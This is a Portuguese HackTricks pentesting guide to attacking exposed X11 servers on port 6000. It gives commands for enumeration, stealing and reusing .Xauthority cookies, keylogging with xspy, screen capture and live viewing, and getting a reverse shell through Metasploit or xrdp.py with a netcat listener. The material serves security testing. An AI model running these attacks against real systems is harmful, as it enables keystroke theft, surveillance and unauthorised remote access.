hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.9 KiB
Raw Blame History

6000 - Teste de Penetração X11

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Informações Básicas

X Window System (X) é um sistema de janelas versátil predominante em sistemas operacionais baseados em UNIX. Ele fornece um framework para criar interfaces gráficas de usuário (GUIs), com programas individuais lidando com o design da interface do usuário. Essa flexibilidade permite experiências diversas e personalizáveis dentro do ambiente X.

Porta padrão: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeração

Verifique a conexão anônima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeração Local

O arquivo .Xauthority na pasta pessoal do usuário é usado pelo X11 para autorização. De aqui:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Gerando 128 bits de chave ("cookie"), armazenando em ~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente envia para o servidor sem criptografia! O servidor verifica se tem uma cópia deste "cookie" e, se sim, a conexão é permitida. A chave é gerada pelo DMX.

{% hint style="warning" %} Para usar o cookie, você deve definir a variável de ambiente: export XAUTHORITY=/caminho/para/.Xauthority {% endhint %}

Sessão de Enumeração Local

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Verificar Conexão

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

Use xspy para capturar as teclas do teclado.

Saída de exemplo:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de tela

Capturar a tela de um aplicativo X11 remoto é uma técnica útil durante um teste de invasão. Isso pode revelar informações sensíveis ou vulnerabilidades que podem ser exploradas. Para capturar uma tela X11 remota, você pode usar ferramentas como xwd, xwud ou scrot. Certifique-se de que o servidor X11 remoto permita a captura de tela e que você tenha permissão para fazê-lo.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Visualização de Área de Trabalho Remota

Caminho de: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Caminho de: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Primeiro, precisamos encontrar o ID da janela usando xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualização ao vivo precisamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obter Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Outra maneira:

Shell Reverso: O Xrdp também permite obter um shell reverso via Netcat. Digite o seguinte comando:

./xrdp.py \<IP:0> no-disp

Na interface, você pode ver a opção R-shell.

Em seguida, inicie um ouvinte Netcat em seu sistema local na porta 5555.

nc -lvp 5555

Em seguida, coloque seu endereço IP e porta na opção R-Shell e clique em R-shell para obter um shell

Referências

Shodan

  • port:6000 x11

Junte-se ao HackenProof Discord server para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: